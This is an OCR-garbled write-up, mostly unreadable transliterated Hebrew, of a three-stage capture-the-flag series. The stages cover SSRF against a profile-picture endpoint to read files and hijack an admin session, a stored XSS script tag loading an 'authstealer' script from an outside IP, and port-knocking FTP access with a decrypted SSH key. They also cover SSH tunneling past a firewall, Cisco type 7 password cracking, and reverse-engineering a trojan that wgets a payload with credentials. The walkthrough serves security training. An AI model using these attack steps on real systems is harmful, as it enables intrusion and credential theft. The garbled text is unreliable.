(Ihwxan 297 IP naimdn) 35.205.32.11 ;090N 7Y 079N
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Challenge #1

Welcome back Agent C!

Your help is needed once again to solve an urgent matter.

Our digital forensics division is trying to track the source of a phishing attack on one of
our government officials.

We have found an email which seems to be related to this attempt and points to a news
blog.

We require your skills to track the source of this sophisticated attack.

The following leads to the news blog.

Good luck!,
M.

NNIANN NNXA NN OY DIYTN 172 ['yn 0'RN NKY 0'0101W) ,7N0N 27w Mxp nTh 2709

‘X2N MATN DX AR NN TR DX 2IT21YII ('nwn DhLak 13.3) anonymous '11'>n DY InY'n nX1)

I'YdY L(2'w'on NOPNN W NN7¥nn NX 11aon) XSS NIty D'wnnwnn DX QIpnY [I'01 |'vn
VAN DN '2n7 0197 NI0171 "XV dNRN DX Q'PNNY 72IRY KD Y7 ANNY MIWRIN naAwnnn
TI912 DA MK T 7Y 1m0 >'-1 < NN 'M1anY NX TN Mjpoon L(N7¥ X7 |1'01) Qpinn

NRND 7Y NIFArYRAI9 NIDNT7 DY AT A¥N] NIYY? 1XYW NN TR NN DIY K77

LightWeb&trade; 3.0

1R NW N7 'RY administration qT

~

Reqgister x TTestProﬁePNG TLog‘n X TMa'n TComnent

.(MwInn 9T2) PNG 7'91N9 NN Np*T1a ["yn Dol AN ,NNANNN ,'URY 9T ,NIAIAN
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XM NT O
Please enter your registration information below:
Tomer
Zait
realgam3
Profile pic URL [ TRY...]

SUBMIT!

Powered by LightWeb™ 3.0

ANX ,NullByte by URL-n 7¥ D' Tan DX qIpv7 91017 N NTn 27w2 WR17 7 Ny IURIN 12T
-7 Y119 ANXN OX PITAY 'M'01 ,NMINNN NX X'AN7 W2 DNYY 79 Nifryaont N9Y X7 (1rony

:nwpan .(Orange Tsai-7 NITIN) N'TI NI' NXP X'NY 97NN SSRF

/testProfilePng?u=aHR0cDovL3J1YWxnYW1l1lImNvIimlsL2xvZ28ucG5n

.Base64-1 qT7 WW'pn NN 7On TWX u DWA UN19 DY testProfilePng qTAn ntna

-7 yan X'n DX http://realgame.co.il:4444#realgame.co.il/logo.png-7 nwiza Ni7wh non

N?'12 7¢ Regex-n NK Ipy7 N01 X7 OXI SSRF-7 Y15 INXNY YT 4444 01191 realgame.co.il
TNT NXT # 72X ,1TAY 0'DYTN 2 Npna) # DIZN2 7-2 NN Ind 0T TIYA N TaN IX NINNN

:(onn om%ynn o'mwn 2N Y71 ClientSide (DOM)-7 nxVNI® non # ' Nd1 N

[ ~1$% nc -lvv 4444

Connection from port 4444 [tcp/krb524] accepted
GET / HTTP/1.1

Host: realgame.co.il:4444

Connection: keep-alive

User-Agent: curl/7.21.3 (x86_64-unknown-linux-gnu) libcurl/7.21.3 OpenSSL/1.0.0c z1lib/1.2.5
Accept-Encoding: gzip, deflate

Accept: */*

Cache-Control: no-cache

'R '2n? 117 TY? 70'w login.php TNI'N1) D19 DA KNPY TWOX DX AR 1'WOY lnYxn

.(admin nixwaN Dy [2WUN7 N2NNNY?

:(Base64-1) file:///var/www/login.php#realgame.co.il/logo.png-7 DTz NN7WW MW DX 97N

@ 35.205.32.11/testProfilePng?u=ZmlsZ Tovly92YXlvd3d3L2xvZ2luLnBocCNyZWFsZ2FtZS5]by5pbC9sh2dvinBuZw%3D%3D

"apr: "OK",
"png": "login.php",
"session": "Cookie saved: False"

.(Mmn n7ynwd nx¥nw T'R) /profilePics/login.php -n yalzn NX TIN% 1108 1'wdy inxn
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2 NN YaIpn

define

function do_login

ADMIN_USER_NAME

admin XIN 71N NIXWAN 7Y wnnunn DWW 02'an INIX login.php yalzn NX D'ROIP 1INIRWD
DYy NNANNNN 977 (127.0.0.1 IP-0 N2IMdN) MW INNA NWA7 11X ATH Wnnwn? 1annn? "l
realgame.co.il:4444 NX q'7N1 .n'wa DIW 117 'R TR SSRF 115 117 W' ,user_name=admin 10UN19N

:127.0.0.1/login.php?user_name=admin-7 y'a9 TNXN DX 71727 1'01WD NINYYY

@ 35.205.32.11/testProfilePng?u=aHROcDovL zEyNy4wLjAuMS9sb2dpbiSwaHA/dXNIcl9uYW1IPWFkbWIul3BuZy5pY29uczguY?29tL 2 lvey8xNjAwL3RIc3QtcGFzc2 VkLnBuZw

3d

"session": "Cookie saved: True"

.127.0.0.1/administration-7 nwjza DA NI7WY N0 TX ,png-2 I'7K NWAT7 QT 117 'K

@ 35.205.32.11/testProfilePng?u=aHR0cDovLzEyNy4wlLjAuMS9hZ G 1pbmizdHIhdGlvbiNwbmcuaWNvbnM4LmNvbS9pb3MvMTYWMCI0ZXNOLXBhc3NIZC5wbme9%3d

{
Merrt: "208"
"png": "administration",
"session": "Cookie saved: True"
}

Session N1'NWA Nd'AN 'K HTTP-N NIM90 aNYY 11" ,"NIR'YNA D 7D X7 2ax¥n 1Y |*x7 7 a1wn)

(71PN N2 nNTANA
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IMTRN T DX NIKYYT 1D /profilePics/administration-7 wa ny>

User Comments

Time
m IP Address Added Comment Text

athlete 212.7.8.9 (1)%33}12 That was funny )

theR@'NM@n  199.53.1.29 gg;ggﬁi’ WOW! this is amazing!!

1whoknows 198.4.76.3 (1)2{82}‘113 Isgﬂi(i;ii(:r:\!?u'd happen!. | warned them at the
CalvinK 213.17.82.1 ggfg%fg It's so last year...

07-03:21 I'love it...It's so <script
nmiao  Src="http://35.205.32.11/authstealer exploit.js">
23/03/18 .
</script>...cute

anonymous 111.112.113.114

N7W "D WD NY'oIm [Amdw) 17W IP-n NQIMD DY anonymous ¢ NAIANN DX D'ATA 1NN

IHwxIN 27wn Do v wpn 72y yn'awdi (0909
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Challenge #2

Well done Agent!

Thanks to your efforts, our team has managed to locate and detain one of the hackers
responsible.

She was not cooperative, but we were able to extract a snippet of an application from
her phone. We suspect it is used for gathering intelligence from their victims.

Your next mission is to locate the files the team stole following their successful phishing
ELER

We executed the parts we extracted in a sandbox and managed to capture its initial
communication with a c2c server. The following contains the captured data.
Needless to say, the information that was stolen is very valuable to us, so please do your

best to retrieve it before it leaks...

Good luck!,
M.

NP'TNI9NI DT DNANKN MTAYY Inwn ,(Zip yalp 1n2) PCAP yalp 7 nTiIN2 7'nNn Nankn

:WireShark-1 Statistics->Conversations-7 N0' "T'-7V "2 Ta1 'n |'an? DTIR 'RTd T'AN AT

Ethernet - 1 TPud - 1 IPVE. TCP -5 UpDpP

=
Address A Port A AddressB PortB Packets Bytes Packets A—B BytesA —B PacketsB — A BytesB — A Rel Start Duration Bits/sA—B Bits/sB — A

192.168.43.188 58640 35204.90.89 5555 g 798 5 456 4 342 0.000000 03726 9791 7343
192.16843.188 58645 35.204.90.89 5555 g 79 5 456 4 342 3.258438 03162 1Mk 8653
192.16843.188 58646 35.204.90.89 2121 38 3200 20 1447 18 1753 4.890574 3.2779 3531 427,
192.168.43.188 58653 35.204.90.89 5555 g 798 5 456 4 342 6468880 0.2905 12k 941
192.16843.188 58658 35.204.90.89 5555 g 798 5 456 4 342 9.662990 03326 10k 822

1> Follow Stream 7y yn71 .(FTP) 2121 0192 nnX nn'wi (TCP) 5555 0192 NIN'W 4 D'RIN NNIX

NIN'YN NNR NIX NIKY

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - pcap.pcap - O X

4bad54feaa%a3fbbd7aac13b74@fc041
9232dbbcee8aba37ba25ef879c@5c3b2dcd8cbf@89ad@74e73a9790f23cbff33af492ad8a79b5621321a9472d96148201efe88947113e2f@bce3c519d988d%e5
5.250.159.25 Temporarily Authorized.

32 .nopn '1in 128 17 A'TNNY 01X 1INIXE NOPN 1IN 32 117 TN MYNY NIKYY [N DTN W0l
[N XIN DX NIXT? DT DTN 2792 N0IN IRY [IWXRIN NQTN X MD5 T'an 7 1'1A nopn 'Iin
7¥ n1ann nn an% noi nMtpA NIN'WA 7510 MD5-N NIIYN 7D DX QI0X) DTIR TX ,NIX'9Y

Mynn naivnn
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N> XY NN DY N2TN IMIR X WYY 'YDY .NNS0 5 '2p2 DMv0n 0N D'WURNAN 7D n7yn

:(nopn 'n 128) SHA512

017701 MD5 7w WRN2 NNS0 5 7¥1 190N VIR VTN NYAY AT Ya1d 117 U'y DAININ T
IR NYY'Y 090 2IMDY7 NN 1'WDY NWYIY nn .SHA512 7w wxna (+1) 21y 190n nwy 1'rnn
[7221 |'vnd NX11D wnwn Nt challenge-response-n) FTP-n NIwY nwa 117 NNo9' 17avwa At

:(Mmx'n N 190 2121 0019 7Y A7 TYnW PORT Knocking

socket
hashlib
time sleep

hash table =
hashlib.md5 ( (1)) .hexdigest(): 1
i ( )

True:

s = socket.socket (socket.AF INET, socket.SOCK STREAM)
s.connect (( , ) )
challenge = hash table[s.recv ( ) .strip ()]
response = hashlib.shabl2 ( (challenge + 1)) .hexdigest()
s.sendall (response + )

s.recv ( )
sleep ( )

NNI71 D'RMN DNRY NATNON NIX) 99999 Ty 0-n NNoon 75 7w HASH TABLE DX 1INIX T2

.(Dict Comprehension

190NN NX D'WONN 5555 VNI MW7 DMannnl socket DMXYA 1INIX ,N'OI01RN NR7I7A
NIX 91017 ,NW7 n1tn SHA512-1 apily 1%0n DAY'TNNI .1N7W Hash Table-a mwinn n7ayw
210NN DMANKA 2IWN TIXRA 770 0T NIdNY) NI 10 0NN NYNN 172'7Y NIYNN NI D'0'9TN
DIoN? 71>' NMWN TN DN DNY D'U9IPO NX' DINK D'WIX DAl TN 1NN U9PON DX ,NTN
NIN7 'RTD T'AN 72X 'Y TN [INND 2ND7 1712 NTH A¥NAY [2mMd .(oniynn 7197 VIYD IX NNIX

JINN9Y QPN W'y Nj7na DdIN
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Filename : Filesize Filetype Last modifi.. Permissi.. Owner/G..
admin File folder 18/02/181.. el (0755) 1003 1004
aliantech File folder 18/02/181.. el (0755) 1003 1004
anonymous File folder 18/02/18 1.. el (0755) 1003 1004
backup File folder 18/02/181.. el (0755) 1003 1004
build File folder 18/02/181.. el (0755) 1003 1004
ftpuser File folder 18/02/181.. el (0755) 1003 1004
guest File folder 18/02/181.. el (0755) 1003 1004
hacker File folder 18/02/181.. el (0755) 1003 1004
notroot File folder 18/02/181.. el (0755) 1003 1004
party File folder 18/02/181.. el (0755) 1003 1004
rambo File folder 18/02/181.. el (0755) 1003 1004
sipuser File folder 18/02/181.. el (0755 1003 1004
test File folder 18/02/181.. el (0755) 1003 1004
wheel File folder 18/02/181.. el (0755) 1003 1004

D'2'2YNN DNATH DT NINN2 XYM X7¢ N L FTP-n Mwh nnyna mnannny Nikd? [N mimna
SSH Private ) id_rsa yaip (/users/backup) 17w nan nz'na w'w backup Dwa 11" (0w NRxNW
floppy-7 |9xm nrxaoap yaup) floppyfw.conf.enc yaipl “s3cr3t” 1D1ma 7onw hint yaup ,(Key

.(firewall

DA 7'o2nw 2017-03-17-n 1IRNY? TV cisco.conf.enc D'¥a7n DY D'"IA'a 1900 nX¥n /backup n'z'na
[xon .floppyfw.conf.enc yalj7 n'iaa 70 W' 2017-03-17-n WnXY71 floppyfw.conf.enc yal77 "1
DY INIX 19700 DN 27w InwrKal Cisco 7w 2N [7Nin DYD ' ARIDY A7 0710 1INIX
NIOXNN NX NIND7 NMIWKIN NIMMWOKR 2 12191 NITIY TX |9xIn (id_rsa) SSH-n nnon .floppyfw

JNannn 702 1w nno'on NX D'YWY1 NNONY wnnwn? n'awnl hNonn v

NIX DT 22 qJwUNnna D WnNwn? 720w T NNONN 7Y N19XNN DX NINSY7 NI' N At Ny T?

~.hint yaI17n 71N2 X¥NIW VOV DY INIX NINSY? NON TX .17W NNO'ON

openssl rsa -in id rsa -out id rsa dec

NIYY 1ANNNY7 NoM ,NN'0'o K77 id_rsa yaip 117 w'wd 1r'wdy ,(s3cr3t nN''n Nno'on) Tay Nt

root@kali:~/ -i ./id_rsa_dec backup@3
Welcome to
All your actions are
being recorded!
GELELELERS

bin/false: No such file or directory
onnection to 35.204.90.89 closed.
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2171090 12 9y wr SHELL-n yIn 1197 7ax SSH-n 0T SHELL nimipo ni7w? 7511 X7 nR1an 730

D0 TIY

SFTP 7w njp'Tan 7'nNa TX

root@kali:~, top/mo
Welcome to kup Ser
A1l your actions are
being recorded!
Hahahah!!

18# sftp -i ./id_rsa_dec backup@

Connected to
sftp> pwd
Remote working directory: /

100% 1802 10.7KB/s  00:00

VI 'OV INIR DTN TX  NIXIADIPN IR 11'9¥N INNTY2 NARNDY conf_enc.pyc Yal? 1IXXN

:uncompyle6 DY N'X7'ONIR'T NITV PN TIR 7W 2¥N7 INIK Y'TANT AT

pip install uncompyle6 && uncompyle6 ./conf enc.pyc > conf enc.py

. 1]
NIN N19¥NN DNAIAYRIE "d3adb33f13371337" Xin N19¥NN NNONW NIXTYT 0712 NNIX JIznn T2

.AES CBC
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python conf dec.py ./backup/2017-03-17/cisco.conf.enc
python conf dec.py ./backup/2017-03-17/floppyfw.conf.enc

AQWNn [N WnNNwn? 721¢ 0RIM W9NI D'YARN 2 7 DIIIDAIRD 2 DHYNY 7001 ,Nyd

floppyfw.conf:

USE_IPTABLES=y

RULE_1=iptables -I INPUT -i ethO -p tcp -m tcp --dport 22 -j ACCEPT
RULE_ bles -P INPUT -j DROP

RULE__ bles -I QUTPUT -i ethl -p tcp -m tcp --dport 3:

RULE_. bles -I OUTPUT -i ethl -p tcp -m tcp --dport 808

RULE_ ables -P OUTPUT -j DROP

RULE_6=iptables -P FORWARD -j ACCEPT

cisco.conf:

ss-list 1 permit tcp any host 10.1
access-list 1 permit tcp any host 10.1
-list 1 deny tcp any any

-list 2 permit tcp any host 10.164.0.3 eg
-list 2 deny tcp any any

NMIR'NI DPTXY MR AT ,|'0|‘7n'7 NINT LYND [NV D'7a0 11NIX NI'XIIADAPN '3 D'IYN DNIXRYD

cisco.conf-a1 nNaNNN '01O |'X floppyfw.conf-aw AT NIYIIA'DIZN 2 MIYWYW NN .N1ID) ND7NNN
7> v X' naon Xixn? 1721 Dnk) Cisco type 7 password [ cisco.conf yaljpa nixno'on W

(17 Tmya "qpin 12 233 SNMP" 7X'00j7 7'9X 7W IMNXN2a

Sfloppyfw-7 Da 0'knn ynwiv fwadmin owa 111' n'nw 01'an 1NN
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https://www.digitalwhisper.co.il/files/Zines/0x28/DW40-1-AttackingSNMP.pdf

Type 7 Password: |107D1C09560521580F 16693F 14082026351C1512
Crack Password

Plain text: |Sup3rS3cré#tP@ssword

N2 http://www.ifm.net.nz/cookbooks/passwordcracker.html ANXn NITY2 NNO'ON NX N¥9)

.Sup3rS3cr#tP@ssword :X'n NNO'ONY

12N1X .10.128.0.3 IP-N N2INd7 3389-1 8080 D'VNIS? Port Forwarding-n 7w n1vVNN NN 'an? non
Storage) T191 VLAN-2 nNMIRY I ITN IP-0 NAIMDY? nwa 17 'k X L1079 N1onn 1Ty 0nan

.(Network

interface Vlan2

name Qutside-network

ip address 10.164.0.3 255.255.255.0
no ip route-cache

ID access-group 2 in

1

interface Vlan3

no ip route-cache
ip access-group 1 out

NT NIYY? NYONY WD MATN YA [Kdnl DIMwIn 2-2 N7 700 Nt nniv? floppyfw
.(floppyfw 70T ITh IP-N NaIMd2 A7XN D'0NIS7 NIAYNN 72 DR 2N1Y?) Tunneling ,SSH 717100

.Local Port Forwarding n1tva floppyfw Dy "wppn'? noTip non

ssh -N -L 22:10.164.0.3:2222 -i ./id rsa dec backup@35.204.90.89

JPNNA ATIPO YN X7 -N e
.Local Port Forwarding -L e

S9N NNONY DI -i @

At'n oy 10.128.0.3 IP-n namd>a xxmw 8080 1197 DA Tunnel 2x™M ,1IN7¥nW NNX ,NYD

:(Sup3rS3cri#tP@ssword) cisco 7w N'¥112'91172 IXKXNY nno*onl fwadmin

root@kali: # ssh -p 2222 -f -N -L 0.0.0.0:8080: :8080 fwadmin@

fwadmin@ 's password:

IR 1AYNY D'¥Ipn NNYWA 22 0119 T N2 178X 8080 LIISW Yad NMIPY NN DXy TX

.10.128.0.3 IP-n naiM>21 8080 LN19Y7 floppyfw-1 22 VIID 0T NMIAWNN
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NI'TRN NIDdAN D) MIDNN NAMNDdA 17w NMpNa IX (127.0.0.1) nmipn 8080 0D T MNK7 010

:(mwin '0'v1d D7 yan ntw 0.0.0.0-2

Index of / Index of /stolen_files

Name Last modified Size Description Name Last modified - Size Description

a Parent Directory,

mm 2018-02-19 07:25 @ mossad_2018_challenge.solution.doc 2018-02-19 09:03 662

Apache/2.4.18 (Ubuntu) Server at 192.168.221.137 Port 8080 Apache/2.4.18 (Ubuntu) Server at 192.168.221.137 Port 8050

Inwn 2%7wn DI'07 V'3 doc-n yalp W 7y Yn'7awd
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Challenge #3

Very good Agent!

Following your success in finding the hacking teams’ internal storage system, our
intelligence officers have discovered what we believe to be a new and sophisticated
rootkit framework they have been developing.

We also managed to get a copy of a prototype utility that helps reveal their rootkit on
infected systems. You can get if from the following

We require your skills in invesgating it and reporting how the rootkit operates.

Thanks again for your effort, and Good Luck!,
M.

N2IN2 N'7'ONY NN - busybox .(Zip yalz J1N2) busybox Dwa NN YW nTINN 7'nnn Nankn

10T IX Android "'wdn md POSIX Niaa0 1Ay TN yalpa unix-tools

N2 72N DX O'RN 1INIX OV K77 NRDINN NN 0¥ 1NIRY)D

1i: # ./busybox
BusyBox v1.29.0.git (2018-02-18 06:33:22 UTC) multi-call binary.
BusyBox 1is copyrighted by many authors between 1998-2015.
Licensed under GPLv2. See source distribution for detailed
copyright notices.

: busybox [function [arguments]...]
r: busybox --list[-fulll

: busybox --install [-s] [DIR]

r: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as.

*kx* This version of BusyBox is an 'augmented-reality' version ;).. left you a hint at /tmp ...

Currently defined functions:
adjtimex, base64, beep, cat, chmod, clear, dnsdomainname, echo, , hostname, ifconfig, ifdown, ifup, kill,
killall, 1s, lsof, md5sum, nc, netcat, netstat, nslookup, ping, ps, reset, resize, top, true, tty, uname, wget,
whoami

.busybox N1V yalp TR 107 10X 7Y /tmp At ™t we

# ./busybox 1s /tmp

such file or directory

AXI NIY7 NXp 0T DX OIEN LAY AAID01I0 DAY UMY ORI NIX TN
.NXN1 XIN 12 OFTI'RN '97 7% TN 1D NIy lowercase letter XINW IN 70w X' N'¥1190110NY
JIURIN DIPMN 7Y 0N19-1 70 NI AT N Diwn .3-2 a7 'p-l 2-a 0y e’ ,1-a ' 't i
7277 N7 DMpEM 7w 20N NINXY OI'72 NITIPON 2N D NP2 AT DX qIpY7 [N1IY IR 0T

DTN 2¥NN DX Q1YY 'R DTIR D27 AKX TR .TNN DIZ™Mn N

‘touch 1 && ./busybox 1ls -la 1 /tmp

IX 17 DAON'Y VOO AUNDI TR NIYAN [IIDNN N'7RY NTN DX DA NIKINY 2NIR X 2D 72X

(DN NINIXY NN DX 12T 7w 19102 17 X1'W) 91NN DA¥N7 DNVNION
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bytearray ("abcdefghijklmnopgrstuvwxyz")

chars =

while True:
user input = bytearray(raw_input('text to transform: '))
for i, c in enumerate (user input):
if ¢ in chars:
user input[i] = = ab) len (chars) ]

chars|[ (c - chars]|

print user input

0NO 7D DANY 07D IR NYD

root@kali:~/Desktop/mossad2018# ./busybox 1s -la /skm

total 12

drwxrwx rwt 2 root

drwxr-xr-x 25 root
1 root

-r--r--r-- 0 root

root 19 18:17
root
root

root

4096 Apr
4096 Apr 13 19:48
452 Apr 19 15:38
1337 Dec 31 1969

:édb_history
.readme

JANIR XY IXKID !|"]DYJ .readme Yaluy
# ./busybox cat /skm/.lxsuct

Suspicious network activity detected...

.netstat N1V suspicious network activity-n NX N1 IXKIQ

root@kali: ]
Active Internet connectlons (servers and establlshed)

Proto Recv-Q Send-Q Local Address Foreign Address
tcp 0.0.0.0:8080 0.0.0.0:*

tep .0.
tcp
tep
tcp
tcp
tcp

State

LISTEN
LISTEN
LISTEN
LISTEN

PID/Program name
4022/ssh

560/sshd
673/gnome-session-b
609/postgres

LISTEN 1030/0

LISTEN 4015/ssh
ESTABLISHED 4022/ssh

~

tcp
tcp

[+)]
OROOCOONOCOOOOODQ

NoNoNololoNoNoNooNoNoNoNol

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

l1030/0
1032/sshd:
4015/ssh
4015/ssh
1337/Troj
563/dhclient

root@not

1ANINX NYd .80 LML 35.203.32.11 NWY AN Tr0j bwa 1337 id Dy '7NN W'y D'RN 1NN

:0'2>17T 2-2 Y1 Tr0j D'IVNND AT'N DY PITAY7 D1

#cat /proc/1337/cmdline
cat /oply/1337/ragxtxn

# or:
ps aux

| grep Tr0j

# ./busybox ps aux | grep Tro0j

? /tmp/TtO] (deleted) -u admin --default-pass

77
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NTIPON T 7Y 7nmaw Tr0j yaIpn Dy TN

fcat /proc/1337/exe > Tr0]
cat /oply/1337/tlr > Tr0j

root@kali: # ./busybox 1s /oply/1337
. .. cmdline environ exe

AN ININA 719w ya1?? symbolic link X1n 720 2¥na exe

ali: # ./busybox cat /oply/1337/tlr > Troj
iz # file ./Troj
ELF 64-bit LSB executable, x86-64, version 1 (S5YSV), dynamically linked, interpreter /1ib64/1d-linux-x86-64.s0.2, for
GNU/Linux 2.6.32, BuildID[shal]=dodfb3534beb402e7848e2687456cdfadda9a231, not stripped

.DMNIR '8 IN7¢IY DNIVNIDN DAL AYIY RID NN |'3.|'1'7 no1l Ida-2 yalzn NX NN91 1'Wdy

(il s =

DUNION 101D N'YPAID MITan [rbp+src]-7 Navin UwlILN3v3rG3tM3 nimyn Nrinnn
NT u TWUND (option 210N N1aNY Ya¥n) 0NX DNVNIOI d-1 U DY DVNIO DY getopt_long

.default-pass nt d-1 user
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; hame
; has_arg ; “user”

; flag
; val

; hame ; "pass”
; has_arg

; flag
; val

; hame ; “default-pass™
; has_arg

; flag
; val

.option 1101 D'>NKN D'VNION v n1ann

: ¥
W =
: v \ v
i P s

loc_400793

.(default-pass Da XInW) d "0NID D"'PY NIPNA NIMIYNN NTANNN NPNYN 72V nu7nnn
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; "35.205.32.11"

: "wget -0 /tmp/.store 'http://%s/iso?user”...

eax rbp
rsi, [rbp

W'D NaImdn iso Yal? NN N1INN

admin XIn NXINN 97w user NVNO 35.205.32.11 IP-N NAUNDN DT YAIF? NAUNDAY DRI

.(NX¥xnw DMVNI9N DY) UwlILN3v3rG3tM3 Xin NtdInn 7 Flow-n 197w pass 10n19I

http://35.205.32.11/iso?user=admin&pass=Uw1ILN3v3rG3tM3 w'zn T ISO-N yalg DX T

:NTE9N T2V mount 17 nwl

mkdir /tmp/iso && mount

./iso.iso /tmp/iso

- XI-Xr-
"= XIP-XT-

1

root
root
root
root
root
root
root
root
root

root
root
root
root

root 11]

root
root
root

root 1]

root

Jtmp/iso NN T iso-N YAl JINAY D'Y¥AR7 NWAT 0710 NNIX DY)

018# 1s -la /tmp/iso/

2048 Feb 18
4096 Apr 2

111895 Feb

609 Feb 1
Feb 1

5 Feb 1
Feb 1
Feb 1
Feb 1

5 Feb 18

3 7.3pg
thumbs.db

: vault

3# file /tmp/iso/vault

(3 190nn X77) 7 Ty 1-n DMD0NN DY NINN '¥AP Y'Y DN Ya1d 17 W'Y 01NN

80
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N"PNA NRMNN W N AT NID'RA Cache 7'onw Windows yalp Xinw thumbs.db nwa yalp

:sqglite database XInw vault yalp1 n1'nn nvox?

75 DB Browser for SQLite - C\Users\realgam3\Downloads\iso\VAULT
File Edit View Help

& New Database (4 Open Database Write Changes 2 Revert Changes

Database Structure Browse Data Edit Fragmas Execute SQL

Table: | | Files ~| & |58 New Record | Delete Record
id name data enc_type key iv_sizel
[Fiter [Fiter Ailter [Filter [Filter
1 |aesjs Usm/va3ngs/rHvye0sA6hwggK4nFp0+JIMra8YGfyrkfCFxUKZftuilR+K4EXR40EX3XIAVKERpKhAtmXak8wHOLU... Blowfish-CBC ~ External 8
T index.html <html>  <script type="text/javascript" src="aes.js'> </script> None None 0
3 key.js N66Kat8Z793104scLp0O41gcNxWBEUXWnxWscNu9dR39zA= Blowfish-CBC ~ External 8
4 script.js n04ScjFpOgy7]+e30NTvwof/ ITAiac/ AB6cZ s8Wzf1SubeVzojaCMXIOSQpKOIKLTiMvSgGxg+P2xPIL6SzILKY/H8B... Blowfish-CBC ~ External 8

Yaizn "Ik AR L 9XIn X7Y index.html-1 Blowfish-CBC-2 n19¥In n'¥ay 7'thn Vault yalgn
2-7 XX PINNNY XN TV [AMD .A'WNT7 NP0 TMAYY IR DNONN DX 7007 70 'wwn namn
7D thumbsviewer Vp'"IN92 wnnwal thumbs.db yalpn NI NN DWTI' INIR Y7XT'RN DaXN

.2 nnmnn NX arxn?

YUNNY N7 2X¥XN2 ,ANIXK XN NNl ' Yaln 'R avin nYy I'N 12AY M1a i AKX "IXT'R NIND 2XNI
7200 thumbs.db yaipzn o'xap nm'X NIXA7 * 1 binwalk "0
2018# binwalk /tmp/iso/thumbs.db

HEXADECIMAL DESCRIPTION

0xA18 G image é standard
09x5418 G image é standard

09x9418 JPEG image é standard
09xC818 JPEG image ¢ standard
3 image ¢ standard

G image ¢ standard

0x19218 JPEG image data, standard

-n 1"7nn OX 0x9418 NXXN1 NN NMONN N'W'7wn Namnnl JPG aion nimn 7 7' In71vn

JWUN YaIEN DR 117 Y701 XX 09170 2IND1 .0¥APN NINY 1T0 '9%7 y¥ann Cache

python -c
"f3b=open ('/tmp/iso/thumbs.db', 'rb"') .read () [0x9418:];0pen('3.Jpg",
'wb') .write (f3b[:f3b.index ('\xFF\xD9')])"

:JPG NN N12n2 NN 910 NX 0'7n0n 0xff,0xd9 TWXD

-n D'¥2PN DX 17 Y7n'w 0970 ANdY 117 IRwa 71 1'wdy (*israel70*) n1oxnn Nno'o NX 17 W

vault
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base64
sqgqlite3
Crypto.Cipher Blowfish

key =
unpad

decrypt (raw, iv_size):
raw = base64d.b64ddecode (raw)

iv = raw[:iv_size]
raw = raw([iv size:]
cipher = Blowfish.new (key, Blowfish.MODE CBC, iv)
raw = cipher.decrypt (raw)
unpad (raw)

conn = sglite3.connect (
c = conn.cursor ()
name, data, enc_type, iv_size c.execute (
) :
enc_type == :
data = decrypt(data, iv_size)
(name, ) f:
f.write (data)

DIYY DX N [9T9TA index.html yalpn NX NINSY 001N 1INIX D'¥APN 72 NN 117 W'wd 1'wdy

D B T A |'1ﬁ'7 O NX"AYN NIYTINd V') N X7 1T

Navigated t

YN NIR XY ALMN TR DR DA AR AXRAYN ARXND 12 DIp'NnN v Yn'?] ONX

NX 7NNKX7 T index.html-2 Script Source NN yalpn NX [IYU7 NI017 NIPMWOXN 2 11'T2 1YW
NItV 1337 0019 7V 'TRNI D'¥A7N 72 IR 79'w HTTP MW NINDY IX 12 win'wn 197 key ninwnn

:Python SimpleHTTPServer

type="text/javascript” src="key.j
type="text/javascript” src="aes.j

type="text/javascript” src="script.js’
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TV N'DENMIYRIN NNWOKA 117NAY NIRTY N1

From this page

Enter the key please:

non |NNS9N .XIN NN OWTI' X7 1INIRY DY) NNON D'W7 IN'RN Wpanw prompt 1'UdY 117 v

D'Y1 .N'N NMDINN TYD FAn? T 207m AN N9'0 MK NIYYY? AXMN X 7aX 0IYD TINN
[ATIN 17W NANQ'TA NINT NIWYYT7 T¥D VTI' K7W ' Debugger-n NNTva NIWXRY NIWN 7Y breakpoint

.(script.js IX aes.js ,key.js) n7w D'vOZON TNXR N'7'NNA debugger; 9'o01nY?

Memory
Network Filesystem S iptj: scriptjs:formatted
O top i Paused on breakpoint

O filey// Watch

/realgam3/PycharmPrc

Cal
deschtml
(anonymous)
Scope
String)) { Global Window
3] || _6xd82cx3 Breakpaints

‘,\‘v Aa /regex/ cancel 8\x20\x35\x28\x33\x34\x20\x33\.

YU TIn nn NIXA7 1 eval-7 hook nwyi T8 eval NIty N'YPOIDAIR'TN NIX NNID VOZON

.[on NX?

Elements  Console

window.eval

window.eval = (va _eval("d
(value) {return _eval("deb ;" + value)}

‘eval-n N2 TIRY I'7X Y'anT7 7T NXNIN DR 'YWOY 'wn) L PIn 7Y pIinn

Audits  Edit
Network Y -format VM1042:formatted
" i Debugger paused

Watch

Nymous)
window.eval
(anonymous)
Scope
Global Window

|"“’ Aa /regex/ Cancel Breakpoints

N7NNNa 2720 DR N7 NWYW V9MIRPOoNI payload ,sid) D'V9MIPO 3 W NMIT NI'WL DT NNIX
X 'wn1 TX 1'7v hook 117 W' N1DwW eval NTya [OxIMN TIEn YN noxnn Nnno X7 L (key.js

.(payload-1 sid ,key.js D*¥apnn TiEn 7y 271) N1wa hook-n T TR Yv1AN7 1O NN
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SOLC O+ [+011+C0 TI+0I00IT) [+ + LT+ L+ D11+ C L1+ LD D +L 0+ D1+ (L IHET) [+ET T+ LI+ 1) [+ T+ [T+ 41T+ (1 L1+ 1) [+1+[11]

NN TINYY? N1 n"72vw JSFuck ailon N'XP70I91IX X'N NINNXN N'X70I19AIRN N7 |N1Y 93

775 |DIXQ N'XPOISAIND DY'MIYNN DNN DX "?NRTD N'n W' - JavaScript Obfuscation" Ender 7w

."Breaking Obfuscations" nwa OWASP-IL-1 DC9723-n "7w nXRXN NIXIY D'INTIN DNX

7 NXPOI9AINN 70N WNX7 190N JSFuck-1 alert(1) nk1zn N2

| (function () {alert(1)}) ();

72U VIYON INND7 TN I'YOY () MNITYA IT A'XFAID ARMPI,ARIPN DR N7ONY N'MRIR D'YID

.prompt N'¥j72197 hook N'x¥' .n'wan

prompt = window.prompt

window.prompt = O { 3 _prompt.apply(window, arguments); };

() { debugger; return _prompt.apply(window, arguments); }

n'pr|9'7 NXp7N MNX MIY? yan? D ANy WNK? oy 2 nn'yTe 7T NXn DX 'yn)

‘prompt

Network
I Debugger paused

f (), t = "Enter the key ase:™ Watch

~ r.charCodeAt (i));

dispatch(curry

}

prompt = O

alert - ) { this: Window
dispatch(current[3], "alert is d try th = Closure

5 Global

